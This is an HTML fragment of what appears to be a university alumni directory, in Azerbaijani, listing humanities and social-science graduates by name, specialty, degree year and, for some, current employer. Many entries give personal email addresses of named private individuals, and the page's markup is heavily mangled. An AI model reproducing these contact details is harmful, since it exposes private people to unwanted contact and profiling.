margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Ayşən Savadova&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Regionşünaslıq&nbsp;&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Magistr &nbsp;&nbsp;2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Aysel Lazımbəyli&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Dünya Siyasi prosesləri&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Magistr&nbsp;&nbsp;2013&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Aysel Hüseynova&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Tərcümə&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Aidə Babayeva&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Jurnalistika&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2010&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Aydan Kərimova&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Dilşünaslıq&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Magistr</strong>&nbsp;2013&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Aydan Xasməmmədova&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Klinik Psixologiya&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Magistr&nbsp; 2014&nbsp;(Fərqlənmə&nbsp;)</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Aygün Qurbanova&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Regionşünaslıq&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Magistr&nbsp; 2012&nbsp;(Fərqlənmə&nbsp;)</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><h3 id=\"B\">B</h3><p><strong>Bayram Həsənov</strong>  <br></p><p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Regionşünaslıq, 2017</p>\r\n<p>E-mail: <a href=\"mailto:bayramhesen@mail.ru\">bayramhesen[at]mail.ru</a></p>\r\n<p>Hərbi xidmətdə</p><p><br></p>  <br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><h3 id=\"C\">C</h3><p><strong>Cavidan Zakirzadə </strong> <br></p><p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Tərcümə, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Zakirzade95@mail.ru\">Zakirzade95[at]mail.ru</a> &nbsp;</p>\r\n<p>Varşava\r\nMaliyyə və Menecment Universiteti</p>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><strong><br></strong></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><strong>Cahid</strong>&nbsp;&nbsp;Nadirov&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Regionşünaslıq</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">ASAN xidmət</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:cahidnadirov@gmail.com\">cahidnadirov@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"mailto:cahidnadirov@gmail.com\"></a>2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><strong>Cavid</strong>&nbsp;&nbsp;Məmmədov&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Regionşünaslıq</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İnkisaf üçün Maliyyə BOKT</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:cavid_mammadov@mail.ru\">cavid_mammadov@mail.ru</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">2010</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Ceyhun Bircəli&nbsp;</strong>&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Tərcümə&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><strong>Cavid</strong>&nbsp;Əhədov&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Jurnalistika</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">TUF AvtoServis Azerbaijan</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:ahadovjavid@gmail.com\">ahadovjavid@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">2011</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Cəmilə Həsənova</strong>&nbsp;&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Beynəlxalq Münasibətlər&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2012</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong></strong></p><h3 id=\"D\"><strong>D</strong></h3><br><p><strong>Daşqın Məmmədov</strong>  <br></p><p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Politologiya, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Dasqin.memmedov@list.ru\">Dasqin.memmedov[at]list.ru</a> &nbsp;</p>\r\n<p>Hərbi xidmətdə</p>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong><br></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Davud Qadaşlı&nbsp;</strong>&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Tərcümə&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2010</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong></strong></p><h3 id=\"E\">E</h3><p><strong>Emiliya Həbibova</strong>  <br></p><p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Regionşünaslıq, 2017</p>\r\n<p>E-mail: <a href=\"mailto:emily.95@yandex.ru\">emily.95[at]yandex.ru</a> &nbsp;</p>\r\n<p>BMT-nin Azərbaycandakı nümayəndəliyi</p>\r\n<p><strong><br></strong></p><p><strong>Elçin Tahirli</strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Politologiya, 2017</p>\r\n<p>E-mail: <a href=\"mailto:Elchin_085@hotmail.com\">Elchin_085[at]hotmail.com</a>&nbsp;&nbsp; &nbsp;</p>\r\n<p>Hərbi xidmətdə</p>\r\n<p><strong><br></strong></p><p><strong>Emil Gülmuradov </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Tərcümə, 2017</p>\r\n<p>E-mail: <a href=\"mailto:gulmuradovemil@gamil.com\">gulmuradovemil[at]gamil.com</a> &nbsp;</p>\r\n<p>Hərbi xidmətdə</p>\r\n<p><strong><br></strong></p><p><strong>Elza Əliyeva </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Linqivistika, 2017</p>\r\n<p>E-mail: <a href=\"mailto:elza.aliyeva.r@gmail.com\">elza.aliyeva.r[at]gmail.com</a></p>\r\n<p>Xaricdə təhsil alır</p>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong><br></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Elnur Tağıyev&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Jurnalistika&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2011 (Fərqlənmə)</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Elxan Kasimov&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Beynəlxalq Münasibətlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Elvin Narimanov</strong></p><p>Humanitar və sosial elmlər&nbsp;<br></p><p>Politologiya</p><p>Engin LTD, Satinalma ve Planlama sobesi /Logistika mutexessisi</p><p>E-mail:<a href=\"mailto:elvinnarimanov@aol.com\">elvinnarimanov@aol.com</a>  <a href=\"http://aol.com/+994707222525\" target=\"_blank\"></a></p><p><a href=\"http://aol.com/+994707222525\" target=\"_blank\"></a>Bakalavr 2013</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong>Elmar Bağırov</strong></p><p>Humanitar və sosial elmlər&nbsp;<br></p><p>Regionşünas</p><p>Xarici İşlər Nazirliyi, 3-cü katib</p><p>E-mail:&nbsp;<a href=\"mailto:Elmarbaghirov@gmail.com\">Elmarbaghirov@gmail.com</a></p><p><a href=\"mailto:Elmarbaghirov@gmail.com\"></a>Bakalavr 2011</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Elnur Atayev</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər fakültəsi, Politologiya</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Sabirabad regional \"ASAN xidmət\" mərkəzi - Kadr və təlim işləri üzrə məsul şəxs</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail:&nbsp;<a href=\"mailto:elnur.atayev@gmail.com\">elnur.atayev@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">2013</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong>Eynurə Nəsibova</strong>&nbsp;&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Politalogiya&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2010</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><strong>Elgün</strong>&nbsp;Seyidov&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Jurnalistika</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">İdman müxbiri</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:e.seyid1987@mail.ru\">e.seyid1987@mail.ru</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">2013</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong><strong></strong></strong></p><h3 id=\"Ə\">Ə</h3><p><strong>Əkbar Məhərrəmov</strong>  <br></p><p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Tərcümə, 2017</p>\r\n<p>E-mail: <a href=\"mailto:maharramovakbar004@gmail.com\">maharramovakbar004[at]gmail.com</a></p>\r\n<p>Varşava Maliyyə və Menecment\r\nUniversiteti</p>\r\n<p><strong><br></strong></p><p><strong>Əminə Hacıyeva </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Tərcümə, 2017</p>\r\n<p>E-mail: <a href=\"mailto:aminaa.hajiyeva@gmail.com\">aminaa.hajiyeva[at]gmail.com</a></p>\r\n<p>Azərbaycan Dəmir Yolları Şirkəti </p>\r\n<p><strong><br></strong></p><p><strong>Əfsana Ağazadə </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>İngilis dili və ədəbiyyatı, 2017</p>\r\n<p>E-mail: <a href=\"mailto:a.aghazada@list.ru\">a.aghazada[at]list.ru</a> &nbsp;</p>\r\n<p><strong><br></strong></p><p><strong>Əsmər Əzizzadə&nbsp;&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Ingilis dili və ədəbiyyat&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2008&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Əsəd Əsədzadə&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Beynəlxalq Münasibətlər&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Bakalavr&nbsp;&nbsp;2011&nbsp;</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong></strong></p><h3 id=\"F\">F</h3><p><strong>Fasli Nəbiyev</strong>  <br></p><p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Politologiya, 2017</p>\r\n<p>E-mail: <a href=\"mailto:faslinabiyev@gmail.com\">faslinabiyev[at]gmail.com</a></p>\r\n<p>Yeni Azərbaycan Partiyası Binəqədi rayon şöbəsi, Gənclər Birliyinin sədri\r\n</p>\r\n<p>Təhsil: ADA Universiteti, Public\r\nAdministration (MA)&nbsp;</p>\r\n<p><strong><br></strong></p><p><strong>Fatimə Kərimli </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Tərcümə, 2017</p>\r\n<p>E-mail: <a href=\"mailto:fatimaeamp@yahoo.com\">fatimaeamp[at]yahoo.com</a> &nbsp;</p>\r\n<p><strong><br></strong></p><p><strong>Fatimə Abdullayeva</strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Tərcümə, 2017</p>\r\n<p>E-mail: <a href=\"mailto:fatyaabdullayeva01@gmail.com\">fatyaabdullayeva01[at]gmail.com</a></p>\r\n<p>HRC\r\nİnsan Resursları Şirkəti</p>\r\n<p><strong><br></strong></p><p><strong>Fəxriyyə Nəsirzadə </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>Psixologiya, 2017</p>\r\n<p>E-mail: <a href=\"mailto:nasirzade.faxriya@gmail.com\">nasirzade.faxriya[at]gmail.com</a></p>\r\n<p>Beykent Universiteti-Klinik\r\nPsixologiya, MA</p>\r\n<p><strong><br></strong></p><p><strong>Fidan Hüseynli </strong></p>\r\n<p>Humanitar və Sosial Elmlər fakültəsi</p>\r\n<p>İngilis dili və ədəbiyyatı, 2017</p>\r\n<p>E-mail: <a href=\"mailto:fidan_995@bk.ru\">fidan_995[at]bk.ru</a> &nbsp;</p>\r\n<p><strong><br></strong></p><p><strong>Fəridə Ocaqova&nbsp;&nbsp;</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Humanitar və sosial elmlər&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Jurnalistika&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr&nbsp;&nbsp;2011 (Fərqlənmə)</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" 